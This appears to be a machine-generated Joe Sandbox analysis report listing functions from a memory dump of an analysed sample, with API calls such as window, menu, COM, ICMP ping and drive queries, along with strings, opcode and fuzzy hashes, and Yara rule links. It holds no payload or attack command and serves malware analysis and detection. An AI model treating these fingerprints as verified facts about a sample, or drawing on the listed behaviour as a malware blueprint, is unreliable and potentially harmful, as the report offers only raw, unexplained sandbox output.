Instruction ID: d303c606a72a32c58a1f753ed2a9847674f45bb7e590391ac641f97c81333c9e
Opcode Fuzzy Hash: 16643ddd463b24408814299e9074c7cc95dc007c625de9eb7475793beaa5f7d8
Instruction Fuzzy Hash: 33511B71B50206ABDF18CFA9DD99EAEBBBAEB88711F148129F515D6390D7709D008B20

Function 00D4201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00D41B41: InvalidateRect.USER32(?,00000000,00000001), ref: 00D41B9A

DestroyWindow.USER32 ref: 00D420D3
KillTimer.USER32 ref: 00D4216E
DestroyAcceleratorTable.USER32(00000000,?,00000000,?,?,?,?,00D416CB,00000000,?,?,00D41AE2,?,?), ref: 00D7BCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D416CB,00000000,?,?,00D41AE2,?,?), ref: 00D7BCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D416CB,00000000,?,?,00D41AE2,?,?), ref: 00D7BCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D416CB,00000000,?,?,00D41AE2,?,?), ref: 00D7BD0A
DeleteObject.GDI32(00000000), ref: 00D7BD1C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 927a122e8e6dc428067dc8ae15531e308197e02f3957ffe163ea3d9dc30b107c
Instruction ID: 639c1e3f25f644fca8614bdd3ba4baa8983091dd656d7f805d6f2556d05d63dc
Opcode Fuzzy Hash: 927a122e8e6dc428067dc8ae15531e308197e02f3957ffe163ea3d9dc30b107c
Instruction Fuzzy Hash: A8618C32100B11DFCB399F15D948B3A77F2FB50312F98852AE5869BAA0C771A885DF70

Function 00D421A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00D425DB: GetWindowLongW.USER32(?,000000EB), ref: 00D425EC

GetSysColor.USER32(0000000F,?,?,?,?), ref: 00D421D3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 37074851d85709337276fbe80a415180d692c92a2698661919646107c709c241
Instruction ID: c98c00c7c379b8f2f7793328af9dc905cb2cf07bc0d0245181c60eef8742387c
Opcode Fuzzy Hash: 37074851d85709337276fbe80a415180d692c92a2698661919646107c709c241
Instruction Fuzzy Hash: D1418231000651DFDB255F28EC88BB93B66EB06331F9C8265FE658A2E5D7718C41DB35

Function 00DAA8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00DAA90B
GetDriveTypeW.KERNEL32(00000061,00DF89A0,00000061), ref: 00DAA9D5
_wcscpy.LIBCMT ref: 00DAA9FF

Strings

unknown, xrefs: 00DAA996
network, xrefs: 00DAA969
all, xrefs: 00DAA911
removable, xrefs: 00DAA93D
ramdisk, xrefs: 00DAA97F
cdrom, xrefs: 00DAA927
fixed, xrefs: 00DAA953

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: d316922d50c12a7361005638abb9c84270e5c61158d7c8dcd213c176f6863207
Instruction ID: edae457aed83f41cd99f03150060c32ad07c3d1d398c27eb1073db43a3085733
Opcode Fuzzy Hash: d316922d50c12a7361005638abb9c84270e5c61158d7c8dcd213c176f6863207
Instruction Fuzzy Hash: 64519B311083019BC700EF18C892AAFB7E9EF85344F554A2DF596972A2DB71D909CE73

Function 00D49837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00D49862
__swprintf.LIBCMT ref: 00D498AC
__i64tow.LIBCMT ref: 00D7F5E6

Strings

False, xrefs: 00D7F5AE
0x%p, xrefs: 00D7F5C8
%.15g, xrefs: 00D498A6
True, xrefs: 00D7F5A7

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: d9cf0b0748e27df93b3009fc4383b248d40d09af4e6a15dd9c5d975fdff39d63
Instruction ID: ba08bdf5fab13cc9a2aa5a4319352758ffc02cd51ddf4278280fe40dd21e2ffb
Opcode Fuzzy Hash: d9cf0b0748e27df93b3009fc4383b248d40d09af4e6a15dd9c5d975fdff39d63
Instruction Fuzzy Hash: 0D41D471604205AFDB24DF79D842E7AB7E8EF45310F28846EE589D7292FA31D9018B31

Function 00DC7152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DC716A
CreateMenu.USER32 ref: 00DC7185
SetMenu.USER32(?,00000000), ref: 00DC7194
GetMenuItemInfoW.USER32 ref: 00DC7221
IsMenu.USER32(?), ref: 00DC7237
CreatePopupMenu.USER32 ref: 00DC7241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00DC726E
DrawMenuBar.USER32 ref: 00DC7276

Strings

0, xrefs: 00DC7160
F, xrefs: 00DC7262

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: f71d818ed08d5300c5d88ec0075c6c026132d65b97d33abeafcac064cde0fe80
Instruction ID: 21287d08c895f2036437cb45d1c1c991c0405078e03ecb54808ebf9793b0287c
Opcode Fuzzy Hash: f71d818ed08d5300c5d88ec0075c6c026132d65b97d33abeafcac064cde0fe80
Instruction Fuzzy Hash: 21414575A01206AFDB20DFA4D888FDABBB5FB48310F184129FA45A7360D731A910CFA4

Function 00DC74BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000), ref: 00DC755E
CreateCompatibleDC.GDI32(00000000), ref: 00DC7565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00DC7578
SelectObject.GDI32(00000000,00000000), ref: 00DC7580
GetPixel.GDI32(00000000,00000000,00000000), ref: 00DC758B
DeleteDC.GDI32(00000000), ref: 00DC7594
GetWindowLongW.USER32(?,000000EC), ref: 00DC759E
SetLayeredWindowAttributes.USER32 ref: 00DC75B2
DestroyWindow.USER32 ref: 00DC75BE

Strings

static, xrefs: 00DC74F6

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: fb7b9c794966ac86f5ebd7b18c13eeba7c339c21c400fca8a44356cc0f49115b
Instruction ID: 1971b5d3c2160a939df05428b01a9c6a59d96e2e7b533099c99e1fa9a59db8dd
Opcode Fuzzy Hash: fb7b9c794966ac86f5ebd7b18c13eeba7c339c21c400fca8a44356cc0f49115b
Instruction Fuzzy Hash: 70316872104216ABDF129F64DC09FEB3B6AFF09760F150229FA55E62A0C731D821DBB4

Function 00D66E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D66E3E

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

__gmtime64_s.LIBCMT ref: 00D66ED7
__gmtime64_s.LIBCMT ref: 00D66F0D
__gmtime64_s.LIBCMT ref: 00D66F2A
__allrem.LIBCMT ref: 00D66F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D66F9C
__allrem.LIBCMT ref: 00D66FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D66FD1
__allrem.LIBCMT ref: 00D66FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D67006
__invoke_watson.LIBCMT ref: 00D67077

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: ec1d00ff1d8c782c042de58b8339880c7f2ff22ec13e2f58b305c529d5bf51c8
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: BB71D576A00716ABD714EE69DC42B6AB7B8EF04724F14862AF514E7281F771D9008BB0

Function 00DA2527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA2542
GetMenuItemInfoW.USER32 ref: 00DA25A3
SetMenuItemInfoW.USER32 ref: 00DA25D9
Sleep.KERNEL32(000001F4), ref: 00DA25EB
GetMenuItemCount.USER32(?), ref: 00DA262F
GetMenuItemID.USER32(?,00000000), ref: 00DA264B
GetMenuItemID.USER32(?,-00000001), ref: 00DA2675
GetMenuItemID.USER32(?,?), ref: 00DA26BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00DA2700
GetMenuItemInfoW.USER32 ref: 00DA2714
SetMenuItemInfoW.USER32 ref: 00DA2735

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 7c4db166d30a9af7de7c8ab07359cab6af21e127e3e46bb58a200a80db2a5569
Instruction ID: 2cfd66b14b8bd57700f31f0cfe96003fe9eea2b667b752cc1c3675723124fc0c
Opcode Fuzzy Hash: 7c4db166d30a9af7de7c8ab07359cab6af21e127e3e46bb58a200a80db2a5569
Instruction Fuzzy Hash: BE619D7090124AAFDF11CFA9CD88EBE7BB9FB06304F180059E881A3261D731AE45DB31

Function 00DC6F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00DC6FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00DC6FA8
GetWindowLongW.USER32(?,000000F0), ref: 00DC6FCC
_memset.LIBCMT ref: 00DC6FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00DC6FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00DC7067

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 15ed2d18af62a12fe56c38c8e2ece36fa5cfe1d8f1d7e974da39ade15699bacf
Instruction ID: c39364e9dcda1e6e22d88f7a19249f5a427888951d0f39ea12e69001ad71c731
Opcode Fuzzy Hash: 15ed2d18af62a12fe56c38c8e2ece36fa5cfe1d8f1d7e974da39ade15699bacf
Instruction Fuzzy Hash: 43614975900209AFDB11DFA4CC81FEE77B8EB09710F14416AFA14AB2A1D771AD45DFA0

Function 00D96B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00D96BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00D96C18
VariantInit.OLEAUT32(?), ref: 00D96C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00D96C4A
VariantCopy.OLEAUT32(?,?), ref: 00D96C9D
SafeArrayUnaccessData.OLEAUT32(?,00000002,?,?,?,?,?,?,?,00D96950), ref: 00D96CB1
VariantClear.OLEAUT32(?), ref: 00D96CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00D96CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D96CDC
VariantClear.OLEAUT32(?), ref: 00D96CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D96CF9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 59b21addaa0e707a0f68bba70ba2d92af11d0a5e1e4e5edc95140fbfe1f503b2
Instruction ID: b6a1383a00832d4d075be86c2f4d598d9cbfd3c42f716843d17283e436ff51de
Opcode Fuzzy Hash: 59b21addaa0e707a0f68bba70ba2d92af11d0a5e1e4e5edc95140fbfe1f503b2
Instruction Fuzzy Hash: FB41F875A0021AAFCF049FA9D854DEEBBB9EF48354B008069F955E7261DB30E945CBB0

Function 00DB83BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

CoInitialize.OLE32 ref: 00DB8403
CoUninitialize.OLE32 ref: 00DB840E
CoCreateInstance.OLE32(?,00000000,00000017,00DD2BEC,?), ref: 00DB846E
IIDFromString.OLE32(?,?), ref: 00DB84E1
VariantInit.OLEAUT32(?), ref: 00DB857B
VariantClear.OLEAUT32(?), ref: 00DB85DC

Strings

Failed to create object, xrefs: 00DB8479, 00DB852F
NULL Pointer assignment, xrefs: 00DB84B3
Invalid parameter, xrefs: 00DB84FA

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 188eee374832b45f25b9a925aaa913c02cbc8c9dc93826095a66fc2dbbd1a407
Instruction ID: b1515d7c7b53679b2b1e942ac3744e6602c44ec50e8eb91051a8f98d1ba4666c
Opcode Fuzzy Hash: 188eee374832b45f25b9a925aaa913c02cbc8c9dc93826095a66fc2dbbd1a407
Instruction Fuzzy Hash: 23616B70608312DFC720DF54C849EAABBE9EF49754F144819F9869B291CB70ED48DBB2

Function 00DB5732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00DB5793
inet_addr.WSOCK32(?,?,?), ref: 00DB57D8
gethostbyname.WSOCK32(?), ref: 00DB57E4
IcmpCreateFile.IPHLPAPI ref: 00DB57F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00DB5862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00DB5878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00DB58ED
WSACleanup.WSOCK32 ref: 00DB58F3

Strings

Ping, xrefs: 00DB5816

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 42e8c4e880ae1c19b285ed40d78ab17089a5c65159cc4158a25c764f6037c2e0
Instruction ID: 5d1118526c84c024ea42921d695bc4ff49e393ca786af2d9b6d26faecdc9f710
Opcode Fuzzy Hash: 42e8c4e880ae1c19b285ed40d78ab17089a5c65159cc4158a25c764f6037c2e0
Instruction Fuzzy Hash: B2514D35604701DFDB109F25EC45BAAB7E4EF48710F08456AF996DB2A5DB70E800DB71

Function 00DAB4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DAB4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00DAB546
GetLastError.KERNEL32 ref: 00DAB550
SetErrorMode.KERNEL32(00000000,READY), ref: 00DAB5BD

Strings

READY, xrefs: 00DAB596
NOTREADY, xrefs: 00DAB57C
UNKNOWN, xrefs: 00DAB575
INVALID, xrefs: 00DAB58F
READONLY, xrefs: 00DAB588

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 231b343b528e884715c48fba9bebfa48eef7e7237fa9b057ad5dcd9a6ef86ab4
Instruction ID: ecc51e0af6b8510fde1514c3e1f3076cc68521efbc570d20e444ee90f0e5696a
Opcode Fuzzy Hash: 231b343b528e884715c48fba9bebfa48eef7e7237fa9b057ad5dcd9a6ef86ab4
Instruction Fuzzy Hash: 3A316035E0020A9FCB10DBA8C845EBEBBB4EF46320F148166E505D7292DB71DA46DB71

Function 00D98F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00D99014
GetDlgCtrlID.USER32 ref: 00D9901F
GetParent.USER32 ref: 00D9903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00D9903E
GetDlgCtrlID.USER32 ref: 00D99047
GetParent.USER32(?), ref: 00D99063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00D99066

Strings

ListBox, xrefs: 00D98FD1
ComboBox, xrefs: 00D98F9C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: dfa92c821650bcc5f5d97f8b175b7545549cfed2eb021320f85dbda76d251ef0
Instruction ID: 90eaaf05c70554f1c1c848aa9d266601ce2b596c99bc37bbd39589f4d1928b2e
Opcode Fuzzy Hash: dfa92c821650bcc5f5d97f8b175b7545549cfed2eb021320f85dbda76d251ef0
Instruction Fuzzy Hash: 9121D074A00209BFDF04ABA4CC95EFEBB75EF49310F104219F961972A2DB759819DB30

Function 00D9907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00D990FD
GetDlgCtrlID.USER32 ref: 00D99108
GetParent.USER32 ref: 00D99124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00D99127
GetDlgCtrlID.USER32 ref: 00D99130
GetParent.USER32(?), ref: 00D9914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 00D9914F

Strings

ListBox, xrefs: 00D990BC
ComboBox, xrefs: 00D99087

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 0ac2df70ed4132e509f0ccfd4ee814444b84e6ba488c505d7ab13c7f644a3008
Instruction ID: 2dbb6fd9faae6114fa3a92a67bf9adbdcef00e4165efe044630a573e28656d77
Opcode Fuzzy Hash: 0ac2df70ed4132e509f0ccfd4ee814444b84e6ba488c505d7ab13c7f644a3008
